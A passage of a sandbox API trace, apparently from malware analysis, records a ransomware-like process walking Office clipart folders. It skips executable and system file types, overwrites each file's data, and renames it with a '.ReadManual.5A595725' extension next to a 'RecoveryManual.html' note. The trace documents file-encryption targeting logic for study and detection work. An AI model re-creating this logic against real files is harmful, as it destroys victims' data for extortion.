ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297229.WMF", cAlternateFileName="")) returned 1 [0269.405] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0297229.WMF" | out: lpString1="J0297229.WMF") returned="J0297229.WMF" [0269.405] lstrcmpiW (lpString1="J0297229.WMF", lpString2="RecoveryManual.html") returned -1 [0269.406] StrStrIW (lpFirst="J0297229.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.406] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.406] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.406] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.406] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.406] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.406] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.406] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.406] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.406] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.406] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.406] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.406] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.406] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.406] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.406] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" [0269.406] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.ReadManual.5A595725" [0269.406] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.ReadManual.5A595725") returned 87 [0269.406] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39007482778) returned 1 [0269.406] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf")) returned 0x20 [0269.406] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.407] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=22990) returned 1 [0269.407] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x59ce, lpName=0x0) returned 0x184 [0269.407] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.408] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.408] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.409] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.410] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x59ce) returned 0x2f0000 [0269.410] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.410] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39007888026) returned 1 [0269.410] CloseHandle (hObject=0x184) returned 1 [0269.410] SetSecurityInfo () returned 0x57 [0269.410] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.410] CloseHandle (hObject=0x194) returned 1 [0269.410] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297269.WMF", cAlternateFileName="")) returned 1 [0269.410] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0297269.WMF" | out: lpString1="J0297269.WMF") returned="J0297269.WMF" [0269.410] lstrcmpiW (lpString1="J0297269.WMF", lpString2="RecoveryManual.html") returned -1 [0269.411] StrStrIW (lpFirst="J0297269.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.411] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.411] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.411] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.411] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.411] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.411] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.411] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.411] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.411] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.411] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.411] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.411] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.411] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.411] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.411] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" [0269.411] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.ReadManual.5A595725" [0269.411] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.ReadManual.5A595725") returned 87 [0269.411] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39007983381) returned 1 [0269.411] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf")) returned 0x20 [0269.411] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.412] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15652) returned 1 [0269.412] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d24, lpName=0x0) returned 0x184 [0269.412] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.412] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.412] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.414] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.414] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d24) returned 0x2f0000 [0269.415] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.415] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39008343276) returned 1 [0269.415] CloseHandle (hObject=0x184) returned 1 [0269.415] SetSecurityInfo () returned 0x57 [0269.415] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.415] CloseHandle (hObject=0x194) returned 1 [0269.415] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4236, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297725.WMF", cAlternateFileName="")) returned 1 [0269.415] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0297725.WMF" | out: lpString1="J0297725.WMF") returned="J0297725.WMF" [0269.415] lstrcmpiW (lpString1="J0297725.WMF", lpString2="RecoveryManual.html") returned -1 [0269.415] StrStrIW (lpFirst="J0297725.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.415] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.415] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.415] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.415] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.415] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.415] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.415] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.415] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.415] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.415] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.415] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.415] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.415] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.415] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.416] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" [0269.416] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.ReadManual.5A595725" [0269.416] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.ReadManual.5A595725") returned 87 [0269.416] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39008438367) returned 1 [0269.416] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf")) returned 0x20 [0269.417] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.417] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16950) returned 1 [0269.417] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4236, lpName=0x0) returned 0x184 [0269.417] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.418] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.418] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.420] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.420] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4236) returned 0x2f0000 [0269.420] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.420] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39008902239) returned 1 [0269.420] CloseHandle (hObject=0x184) returned 1 [0269.420] SetSecurityInfo () returned 0x57 [0269.420] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.420] CloseHandle (hObject=0x194) returned 1 [0269.421] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297727.WMF", cAlternateFileName="")) returned 1 [0269.421] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0297727.WMF" | out: lpString1="J0297727.WMF") returned="J0297727.WMF" [0269.421] lstrcmpiW (lpString1="J0297727.WMF", lpString2="RecoveryManual.html") returned -1 [0269.421] StrStrIW (lpFirst="J0297727.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.421] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.421] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.421] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.421] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.421] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.421] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.421] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.421] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.421] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.421] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.421] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.421] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.421] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.421] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.421] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" [0269.421] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.ReadManual.5A595725" [0269.421] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.ReadManual.5A595725") returned 87 [0269.421] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39009001827) returned 1 [0269.421] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf")) returned 0x20 [0269.422] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.422] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15516) returned 1 [0269.422] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c9c, lpName=0x0) returned 0x184 [0269.422] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.423] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.423] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.426] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.426] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c9c) returned 0x2f0000 [0269.426] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.427] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39009533575) returned 1 [0269.427] CloseHandle (hObject=0x184) returned 1 [0269.427] SetSecurityInfo () returned 0x57 [0269.427] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.427] CloseHandle (hObject=0x194) returned 1 [0269.427] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x493e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297757.WMF", cAlternateFileName="")) returned 1 [0269.427] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0297757.WMF" | out: lpString1="J0297757.WMF") returned="J0297757.WMF" [0269.427] lstrcmpiW (lpString1="J0297757.WMF", lpString2="RecoveryManual.html") returned -1 [0269.427] StrStrIW (lpFirst="J0297757.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.427] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.427] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.427] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.427] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.427] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.427] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.427] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.427] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.427] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.427] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.427] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.427] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.427] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.427] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.427] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" [0269.427] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.ReadManual.5A595725" [0269.427] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.ReadManual.5A595725") returned 87 [0269.428] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39009630621) returned 1 [0269.428] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf")) returned 0x20 [0269.428] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.429] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18750) returned 1 [0269.429] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x493e, lpName=0x0) returned 0x184 [0269.429] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.430] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.430] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.432] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.432] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x493e) returned 0x2f0000 [0269.432] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.432] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39010106523) returned 1 [0269.432] CloseHandle (hObject=0x184) returned 1 [0269.432] SetSecurityInfo () returned 0x57 [0269.433] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.433] CloseHandle (hObject=0x194) returned 1 [0269.433] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297759.WMF", cAlternateFileName="")) returned 1 [0269.433] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0297759.WMF" | out: lpString1="J0297759.WMF") returned="J0297759.WMF" [0269.433] lstrcmpiW (lpString1="J0297759.WMF", lpString2="RecoveryManual.html") returned -1 [0269.433] StrStrIW (lpFirst="J0297759.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.433] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.433] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.433] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.433] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.433] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.433] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.433] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.433] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.433] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.433] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.433] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.433] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.433] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.433] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.433] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft 